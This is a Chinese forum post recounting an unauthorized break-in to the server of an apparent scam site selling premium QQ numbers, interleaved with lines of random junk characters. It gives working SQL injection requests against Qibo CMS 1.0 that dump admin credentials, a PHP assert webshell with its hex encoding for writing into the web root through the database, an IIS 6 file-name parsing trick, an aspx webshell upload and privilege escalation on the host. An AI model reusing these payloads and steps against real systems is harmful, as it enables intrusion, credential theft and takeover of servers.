入侵卖靓号QQ骗子网站服务器纪实

admin · 发表于 2018-10-20 20:08:47

$ x' s; v8 q/ h1 V, D# {) S
# w+ P9 W3 [- ~2 x# I R. C

2 c, o, V6 a, l- c( q 一、踩点寻找漏洞
0 l. i, R& Q3 m: u( P) a闲来无事，在各个QQ靓号群求买5位QQ，寻问半天无果就在百度搜索5位QQ扫号找到“目标”www.qq.com，打开一看就一静态页面，哇好多靓号啊，90000000,300000,98888888，199999999，哇这么多靓号，然后我去联系客服，要求客服登录账户看看，此处略去100字，然后开始撕逼，然后就有了下文。。。。
, {% S( q9 {) ]; I& j随手拿御剑扫了一下好多php页面，随手加一个member发现是齐博1.0的内容管理系统，然后就去百度找漏洞，什么后门漏洞一一做测试都无果，找来找去找到一个全版本的注入漏洞，详细利用方法如下：
( U( V0 w" h! C7 e先注册一个用户，记住注册时候的邮箱以uid号，
$ c# q1 q- L |- h9 d
# F3 ^( z4 b6 }) P* U' i/ i
3 c0 ?/ \0 W5 Q! ~. |( L- V% | 然后我们打开火狐浏览器简单构造一下，http://www.qq.com/member/userinfo.php?job=edit&step=2，发送数据包如下：
" N# x, c' D: l: P) t; y. y
( J. B2 d- d% ~: e truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select user()) where uid=3%23
8 O# `; o9 H( L7 D这里的email和uid一定要和注册的账号所吻合，然后访问，提示成功以后查看用户资料如图：
; D3 Q& A6 k7 Z/ V4 Q% |1 r3 ~
+ a1 D, Y: j @( P3 U 确实存在注入漏洞，那么我们来注入一下管理账号密码，修改数据包如：truename=xxxx%0000&Limitword[000]=&email=123@qq.com&provinceid=,address=(select concat(username,0x2e,password) from qb_members limit 1) where uid=3%23
2 }' @, h% g# n. u8 d) ^ S! z
$ L& A, g/ L: C
7 Z- Y3 K' h# a2 m 解密进后台如图：
4 s' M8 H( D2 j3 @) r
9 @9 }, E& Q; B! T* V
6 O3 T( A8 [1 ~
5 O! c) g6 @* n7 o" I 二、后台getwebshell
! |7 P, h: O' i9 ~; A8 T, r进了后台，以前齐博有个后台getwebshell漏洞，在系统功能- 单篇文章独立页面管理-增加页面添加个webshell，如图：
3 m% g/ @$ y x: O) G O4 m
1 z% Q( q9 \+ C: `& M3 ^& N0 U
8 E- t8 l, H& B
M. y- T1 F$ n: Y1 K0 y, _然后点确定，添加提示
, j: f$ y6 V! \ X, b7 S
/ i$ A% w0 Y5 R8 r6 _ H
' A7 }% X$ f0 a; ~. Z, W7 c- T
& G/ m& u, Y% @/ P- [3 K: y由于是ii6.0的所以我们可以考虑一下解析漏洞，我们再来如图：
# K3 t8 z/ s5 n- T
# R z1 f- U- V: b" H4 B
, Z$ g$ D& {4 d2 ^1 k& T改静态页面为help.php;.htm，然后我们发现访问help.php;.htm是404（写文章之前测试是可以成功写入的），欧巴，他么的我们再想想别的办法，抽了一支烟，我们继续，他这里不是有个服务器信息、数据库工具吗，之前我们测试当前用户名是root，那么我们完全可以考虑利用服务器信息、数据库工具来导入一句话，屌屌的妈妈的，我们来演示一下，先把一句话hex编码一下，<?php assert($_POST[sb]);?>编码以后是：0x3C3F7068702061737365727428245F504F53545B73625D293B3F3EDA网站目录是D:\wwwroot\qq.com\admin\，注意我们要把\改成/,否则不成功D:/wwwroot/qq.com/admin/,下面我们来导一下
. k8 p( x0 W# M# T/ y 如图：
. ]8 Q6 t. K. B1 j+ L% R$ }
/ G/ a# l# S8 {, w
! v: {( _/ O" ~; ]! B7 |- I: u
n* x. _6 D. S0 T# `之前已经测试过了用普通菜刀无法连接，测试用过狗菜刀也无法连接，用xiese打开
+ Q6 p0 P: k- Q% G8 ~& k2 `/ `. l
5 n6 C( u q j7 x3 ?
* @/ V% Z6 j/ [: x3 h4 T9 j# R
" j F% L) N b6 x- R0 h三、提权进服务器
1 W9 Z$ x- I: {0 \1 h" @经测试xise下一句话只有在admin目录下有权限浏览，且不能执行命令，庆幸的是支持aspx，那么我们就上一个aspx大马，然后执行命令提示拒绝访问，哈哈在c:\windows\temp下上传cmd.exe然后执行systeminfo，发现打了400多补丁，如图：
% N7 P# A. b2 |" t! C4 I' `
! H' h; p3 H) T9 F& N1 Y3 Y* L! o
' G+ V7 `& r, v; Q 啧啧啧，这么多补丁，我都没去试试今年和2014年放出来的exp，而且是在咱们大00下载了一个变异pr，然后上传提权如图：
0 @+ p' L S' R/ I; | W
4 I% Q5 O% I! h% S M
; w3 ?8 {+ [, _, ^然后登陆服务器如图：
. W. i: l& Z4 R
4 [# q9 ?! E- E$ a7 |. d3 } 6 d. Q% q; Y) M& }8 [& }+ g